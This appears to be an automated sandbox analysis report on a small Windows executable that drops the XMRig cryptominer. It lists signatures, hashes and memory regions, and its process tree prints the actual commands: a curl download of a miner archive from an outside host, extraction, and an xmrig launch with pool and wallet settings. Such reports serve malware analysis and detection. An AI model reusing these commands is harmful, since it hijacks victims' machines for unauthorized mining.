Resubmissions

13/03/2024, 08:45

240313-knsznahb2w 10

13/03/2024, 08:44

240313-knhtpaah68 10

13/03/2024, 08:44

240313-km8cysha9v 10

13/03/2024, 08:43

240313-kms82aah48 10

12/03/2024, 18:00

240312-wlevsshe86 10

12/03/2024, 17:57

240312-wjxylahe48 10

12/03/2024, 17:55

240312-whm21afc7t 10

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12/03/2024, 17:53

240312-wgg5csfc3y 10

12/03/2024, 17:52

240312-wf31fahd58 10

Analysis

  • max time kernel
    1200s
  • max time network
    1200s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/03/2024, 08:43

General

  • Target

    test - Copy - Copy (2).exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2).exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3640
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FwBeOA6J.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:1944
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:4572
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1172

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\FwBeOA6J.bat

        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

      • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

        Filesize

        3.2MB

        MD5

        e27f13ffb2989f290f16f8edd1c80171

        SHA1

        352a34a66152f4998b8d9152356528f980de2ef5

        SHA256

        fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9

        SHA512

        549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a

      • C:\xmrig\xmrig-6.21.1\xmrig.exe

        Filesize

        4.4MB

        MD5

        2334879d3478161e0aab7f911b2e086b

        SHA1

        e2a282646a768efe5b9a04cb262222e165a826e7

        SHA256

        0ac86629730559e87f5d2cfcd2aee83f114c1a0a765cbbd6cc133e7d163ea872

        SHA512

        fe3893427bc6d93362de2a11fefc444c70fcfc817de1068afa1eea80f68b7a736ac3d28b5341acdc135cc5004ecb038fdc74e826ca36fc3a277e8079abd406ce

      • memory/1172-56-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-58-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-92-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-91-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-90-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-26-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-27-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-28-0x000002A40EA30000-0x000002A40EA50000-memory.dmp

        Filesize

        128KB

      • memory/1172-29-0x000002A40EA10000-0x000002A40EA30000-memory.dmp

        Filesize

        128KB

      • memory/1172-59-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-31-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-32-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-33-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-34-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-35-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-36-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-37-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-38-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-39-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-41-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-40-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-42-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-43-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-44-0x000002A40EA30000-0x000002A40EA50000-memory.dmp

        Filesize

        128KB

      • memory/1172-45-0x000002A40EA10000-0x000002A40EA30000-memory.dmp

        Filesize

        128KB

      • memory/1172-46-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-47-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-48-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-49-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-50-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-51-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-52-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-53-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-54-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-55-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-23-0x000002A40CFD0000-0x000002A40CFF0000-memory.dmp

        Filesize

        128KB

      • memory/1172-25-0x000002A40E9D0000-0x000002A40EA10000-memory.dmp

        Filesize

        256KB

      • memory/1172-57-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-30-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-60-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-61-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-62-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-63-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-64-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-65-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-66-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-67-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-68-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-69-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-70-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-71-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-72-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-73-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-74-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-75-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-76-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-77-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-78-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-79-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-80-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-81-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-82-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-83-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-84-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-85-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-86-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-87-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-88-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/1172-89-0x00007FF704A10000-0x00007FF705514000-memory.dmp

        Filesize

        11.0MB

      • memory/3640-7-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

        Filesize

        10.8MB

      • memory/3640-6-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

        Filesize

        10.8MB

      • memory/3640-0-0x00000000002E0000-0x00000000002E8000-memory.dmp

        Filesize

        32KB

      • memory/3640-24-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

        Filesize

        10.8MB